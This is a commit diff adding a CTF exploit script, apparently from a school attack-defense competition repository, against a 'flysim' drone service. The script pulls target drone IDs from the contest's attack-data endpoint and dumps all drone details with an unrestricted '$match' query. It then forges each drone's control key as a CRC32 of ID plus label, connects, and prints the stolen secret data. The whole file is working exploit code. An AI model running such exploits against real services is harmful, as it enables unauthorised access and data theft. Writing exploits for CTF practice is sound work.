adding validated services? patching forcad_local.py

ctfcup24-school-ad/sploits/flysim/sploit_crc32.py

@@ -0,0 +1,34 @@
+#!/usr/bin/env python3
+
+import requests
+import sys
+import drone_client
+import time
+import json
+import zlib
+
+
+def droneid_to_drone_obj(client, drone_id):
+    det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
+    for d in det:
+        if d["id"] == drone_id:
+            return d
+    return None
+
+
+IP = sys.argv[1]
+drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
+    IP
+]
+for drone_id in drone_ids[::-1]:
+    client = drone_client.DroneClient(ip=IP)
+    drone_obj = droneid_to_drone_obj(client, drone_id)
+    client.drone_id = drone_id
+    cont_key = hex(zlib.crc32((drone_id + drone_obj["label"]).encode()))[
+        2:
+    ]  # generate 'not so random' control_key
+    client.control_key = cont_key
+    client.connect_to_drone()
+
+    drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
+    print(drone_obj_with_secret["secret_data"], flush=True)